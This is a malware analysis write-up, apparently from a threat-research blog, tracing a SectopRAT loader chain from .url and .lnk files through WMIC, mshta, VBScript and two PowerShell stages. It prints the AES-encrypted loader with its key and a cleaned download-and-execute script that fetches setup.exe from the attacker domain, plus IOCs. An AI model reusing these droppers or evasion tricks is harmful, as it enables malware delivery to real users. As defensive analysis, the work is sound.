This will be a relatively short writeup, detailing some interesting new wrinkles I uncovered regarding a SectopRAT loader.

I was collecting screenshots for my last blog post when I noticed an open directory on pputty[.]us, the site to which a malicious Google ad pointed. It seemed the threat actor had been adding new files, perhaps new methods of initial access.

Naturally, being curious, I pulled them all down to investigate.

starter

.URL Files

As I investigated, the logical starting point was revealed as the .url files:

  • Setup.url
  • Simulator.url
  • Software.url
  • Webex.url
software_url_file

In Windows, a .url file will automatically open a browser to a specific URL when double clicked. The URL to be contacted can be found in the file properties.

In this case, all four files had the same URL property:

file:\\179.43.142[.]86@80\Downloads\1111.lnk

Double-clicking this file will cause the following pop-up to appear.

url_file_success

If the “Open” button is clicked, a Windows shortcut, 1111.lnk, will be executed.

Opening up the properties of the identically named shortcut I had downloaded from the open directory, the first thing I noticed is the description: “WMI Commandline Utility”. Interesting.

Taking a look at the target field in the Shortcut tab, I can see that when executed, the .lnk file will run the following line (in a minimized window):

C:\Windows\System32\wbem\WMIC.exe process call create "powershell  . C:\*i*\S*3*\m*ta.e* https://pputty[.]us/1.hta"

Something I learned here, PowerShell can use wildcards in file paths and will not complain. To PowerShell, C:\*i*\S*3*\m*ta.e* is equivalent to C:\Windows\System32\mshta.exe.

A bit about mshta from the Microsoft docs: “mshta is a Windows utility which executes HTML Application files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.”

A summary so far. A .url file calls out to an IP and executes a .lnk file, which in turn uses PowerShell to run an .hta file with mshta.exe. Let’s see what the .hta holds!

.hta File

The .hta file was mostly placeholder HTML, with three very messy, but important lines.

hta_raw

After some cleaning, things started to make more sense.

1_hta_cleaned

A large number of variables were created and set to integer values. Using “ChrW”, which returns a readable Unicode or ASCII character, a single variable is created.

Without the thousands of quotation marks, the third line boils down to Execute Eval(res)), which will execute whatever is passed to it, in this case, the “res” variable. By commenting out this line, I can just write it to the console to inspect it.

1_hta_output

More VBS. After cleaning it up, it is quite straightforward, so I won’t bore with details. The obfuscation/functions here are simply to hide the creation of a WScript.Shell object. Once the object is created, it runs a command passed to it as a string, without showing a popup window.

I copied the PowerShell out of the argument string, and began to analyze it.

PowerShell Script

Below is the PowerShell called by the WScript.Shell object.

powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $RpboyN = 'AAAAAAAAAAAAAAAAAAAAAPhV/VZ6nliBpw0blRhYHFy8uOMZrCs004iC/zUNLNU+HMua76DNadYaA9soXAQC7haP7Id8A08qD8pvMK/V6arPhdbP/a2Osqu10DKceGWI3qaw+nzPAfDUJ35pavHM3PetLyPWhvypz7eQIzvfkNJGl0USK1lh2+iZeWjYT08jd3N33rvhoRnZ6NCOr86BBTw/rYh+aeQl7pfvacq1xAvHvZoOXBBL1pSQxdM22OMCO57JV5dAy0/6IGnA0rM0J6hOBA5g/qKydwjKo5C+1NN0iF/ewdiZbOf9SFvRWhIoP6zNK/W6KioKxR604X7MQJz8HpgQvAOgRdTiYcPs7iWxXu6lJsQvFQ1peat8b8tO3C/kUT6eenSeeVwJyeLHb3U+GGcGZODSjIXdo3IiS7y4hbw0CPqFUd96jxArpvuySF2lO/hwYyWOZZrxS5cij0U1ECgL7kdSpKLAVHo1nwyq8AOEQcQuvRL7+w32vIFHmO27HAY5P3ELFhI0Yr99+oez3yD73f2U3/zJBvd8ropF7PafpRv9DIhLQnL3v6tAVzSGMMLdiofZYn3mAZ0ffebrP8R+Nuiq6LZD2P22RB/gl2Oact+1XIEcPNTaNHWxdGClp8QPPr++SdYN/0+u8t91Q2C3JNj3F9yYLESJ8xUyBsK+ot3voYmk9HPHkD6rxkuKFjeMTAe5OxJeEsJw9VcuA7qZEBXsdCnnoUPI1PN7kabdxmNLmh5fYVqxUg7dihQPLmkiNH6kMWj8bpM3gJhk0OCWNg2z9S2UcI4uOHrOlJnF2ubUXNpPSAd+8jXZLzx3o7na1ijV976he5Q/vfpFFUXtJjm4bMr/0vA2RyFM98wVlw5QJ1SIS6yxGvGkvqVt+r3RmACMkkVsUNkM/cFBcYW+SAMPQcrIVH7Pr31+hrwpT9vaI1+rIuNK4Gxn9WSTxTW0r/kDj086H9bJhA==';
$bjpawLP = 'd0dJZmhTRnRma1JIeVhwWFRscmtseXZ5UndqU1hiaXE=';
$LTqnWUJ = New-Object 'System.Security.Cryptography.AesManaged';
$LTqnWUJ.Mode = [System.Security.Cryptography.CipherMode]::ECB;
$LTqnWUJ.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;
$LTqnWUJ.BlockSize = 128;
$LTqnWUJ.KeySize = 256;
$LTqnWUJ.Key = [System.Convert]::FromBase64String($bjpawLP);
$NopMN = [System.Convert]::FromBase64String($RpboyN);
$nOAYBEJe = $NopMN[0..15];
$LTqnWUJ.IV = $nOAYBEJe;
$oiOyGuVja = $LTqnWUJ.CreateDecryptor();
$QXEoeqPMj = $oiOyGuVja.TransformFinalBlock($NopMN, 16, $NopMN.Length - 16);
$LTqnWUJ.Dispose();
$CoCn = New-Object System.IO.MemoryStream( , $QXEoeqPMj );
$tExvHMy = New-Object System.IO.MemoryStream;
$osHkaSVDa = New-Object System.IO.Compression.GzipStream $CoCn, ([IO.Compression.CompressionMode]::Decompress);
$osHkaSVDa.CopyTo( $tExvHMy );
$osHkaSVDa.Close();
$CoCn.Close();
[byte[]] $EVpkPWyQ = $tExvHMy.ToArray();
$VIYlM = [System.Text.Encoding]::UTF8.GetString($EVpkPWyQ);
$VIYlM | powershell - }

I can tell immediately that AES decryption is occurring, likely on the base64 looking string. I confirmed this by cleaning things up a bit.

$firstString = 'AAAAAAAAAAAAAAAAAAAAAPhV/VZ6nliBpw0blRhYHFy8uOMZrCs004iC/zUNLNU+HMua76DNadYaA9soXAQC7haP7Id8A08qD8pvMK/V6arPhdbP/a2Osqu10DKceGWI3qaw+nzPAfDUJ35pavHM3PetLyPWhvypz7eQIzvfkNJGl0USK1lh2+iZeWjYT08jd3N33rvhoRnZ6NCOr86BBTw/rYh+aeQl7pfvacq1xAvHvZoOXBBL1pSQxdM22OMCO57JV5dAy0/6IGnA0rM0J6hOBA5g/qKydwjKo5C+1NN0iF/ewdiZbOf9SFvRWhIoP6zNK/W6KioKxR604X7MQJz8HpgQvAOgRdTiYcPs7iWxXu6lJsQvFQ1peat8b8tO3C/kUT6eenSeeVwJyeLHb3U+GGcGZODSjIXdo3IiS7y4hbw0CPqFUd96jxArpvuySF2lO/hwYyWOZZrxS5cij0U1ECgL7kdSpKLAVHo1nwyq8AOEQcQuvRL7+w32vIFHmO27HAY5P3ELFhI0Yr99+oez3yD73f2U3/zJBvd8ropF7PafpRv9DIhLQnL3v6tAVzSGMMLdiofZYn3mAZ0ffebrP8R+Nuiq6LZD2P22RB/gl2Oact+1XIEcPNTaNHWxdGClp8QPPr++SdYN/0+u8t91Q2C3JNj3F9yYLESJ8xUyBsK+ot3voYmk9HPHkD6rxkuKFjeMTAe5OxJeEsJw9VcuA7qZEBXsdCnnoUPI1PN7kabdxmNLmh5fYVqxUg7dihQPLmkiNH6kMWj8bpM3gJhk0OCWNg2z9S2UcI4uOHrOlJnF2ubUXNpPSAd+8jXZLzx3o7na1ijV976he5Q/vfpFFUXtJjm4bMr/0vA2RyFM98wVlw5QJ1SIS6yxGvGkvqVt+r3RmACMkkVsUNkM/cFBcYW+SAMPQcrIVH7Pr31+hrwpT9vaI1+rIuNK4Gxn9WSTxTW0r/kDj086H9bJhA==';
$secondB64 = 'd0dJZmhTRnRma1JIeVhwWFRscmtseXZ5UndqU1hiaXE=';

$aesObject = New-Object 'System.Security.Cryptography.AesManaged';
$aesObject.Mode = [System.Security.Cryptography.CipherMode]::ECB;
$aesObject.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;
$aesObject.BlockSize = 128;
$aesObject.KeySize = 256;
$aesObject.Key = [System.Convert]::FromBase64String($secondB64);

$firstStringDecoded = [System.Convert]::FromBase64String($firstString);

$theIV = $firstStringDecoded[0..15];
$aesObject.IV = $theIV;
$decryptor = $aesObject.CreateDecryptor();
$decrypted = $decryptor.TransformFinalBlock($firstStringDecoded, 16, $firstStringDecoded.Length - 16);

$aesObject.Dispose();

$memoryStream = New-Object System.IO.MemoryStream( , $decrypted );
$secondMemoryStream = New-Object System.IO.MemoryStream;
$decompressedVar = New-Object System.IO.Compression.GzipStream $memoryStream, ([IO.Compression.CompressionMode]::Decompress);

$decompressedVar.CopyTo( $secondMemoryStream );
$decompressedVar.Close();
$memoryStream.Close();

[byte[]] $byeArray = $secondMemoryStream.ToArray();
$finalString = [System.Text.Encoding]::UTF8.GetString($byeArray);
$finalString | powershell - 

The first base64 is a gzip compressed, AES encrypted string and is decrypted using the second base64 string as the key. Once the decryption is complete, the data is decompressed and passed to a byte array, and then converted to a string, which is finally executed by PowerShell.

Now I’ve got a second iteration of PowerShell to investigate. As it is nothing special, I will skip showing the screenshot with the obfuscation and jump straight to the cleaned version.

function write_all_bytes($plE, $oqF){
	[IO.File]::WriteAllBytes($plE, $oqF)
};

function execute_file($arg1){
	if($arg1.EndsWith('.dll') -eq $True){
		rundll32.exe $arg1 
	}
	elseif($arg1.EndsWith('.ps1') -eq $True){
		powershell.exe -ExecutionPolicy unrestricted -File $arg1
	}
	elseif($arg1.EndsWith('.msi') -eq $True){
		misexec /qn /i $arg1
	}
	elseif($arg1.EndsWith('.jar') -eq $True){
		powershell.exe -ExecutionPolicy unrestricted java -jar $arg1
	}
	else{
		Start-Process $arg1
	}
};

function download_data($arg1){
	$web_client = New-Object ('Net.WebClient');
	[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
	$return_data = $web_client.DownloadData($arg1);
	return $return_data
};

function convert_to_str($arg1){
	$num_var=7621;
	$return_val=$Null;
	foreach($iterator in $arg1){
		$return_val += [char]($iterator-$num_var)
	};
	return $return_val
};

function main(){
	$app_data_path = $env:AppData + '\';
	$appdata_path2= $env:AppData;
	$7zlogo_path = $appdata_path2 + '\7ziplogo.png';
	If(Test-Path -Path $7zlogo_path){
		Invoke-Item $7zlogo_path;
	}
	Else{ 
		$7zdownload_result = download_data ('https://www.7-zip[.]de/7ziplogo.png');
		write_all_bytes $7zlogo_path $7zdownload_result;
		Invoke-Item $7zlogo_path;
	};;;
	
	$setup_path = $app_data_path + 'setup.exe';
	if (Test-Path -Path $setup_path){
		execute_file $setup_path;
	}
	Else{ 
		$pputty_download = download_data ('https://pputty[.]us/setup.exe');
		write_all_bytes $setup_path $pputty_download;
		execute_file $setup_path;
	};;
}

main;

The second stage PowerShell will download and perform two main actions. The first, is to download an image from www.7-zip.de, which unless I am mistaken is a legitimate version of the 7zip site. I am not sure why this is done, as Invoke-Item in PowerShell will just open the file in an image viewer. Maybe this is testing for further malicious use or part of an attempt to fool the victim into thinking they’ve downloaded legitimate software.

Regardless, the next main action is to download (if not already present), a file named setup.exe from the familiar pputty[.]us, and execute it depending on its extension.

Sadly, not much more to see here, as this EXE looks to be identical to the loader I examined in the previous post, down to the conspicuous Cnfggs class.

loader_dnspy

I tried to grab the files hosted on cloudinstalller73489[.]shop, but was hit with a “1010” error.

error_code_1010

According to the CloudFlare docs, this error occurs when “the owner of this website has banned your access based on your browser’s signature”. Guess the threat actor is tightening things up.

Wrap Up

This was certainly an interesting path. Starting with a .url file, I went from an .lnk, to a WMIC call to PowerShell, to an .hta file with VBScript, back to PowerShell, and finally to the familiar loader which I’ve already determined leads to the SectopRAT.

Read my previous post, Google Ad Leads to SectopRAT for more.

IOCs

  • cloudinstalller73489[.]shop
  • pputty[.]us
  • 179.43.142[.]86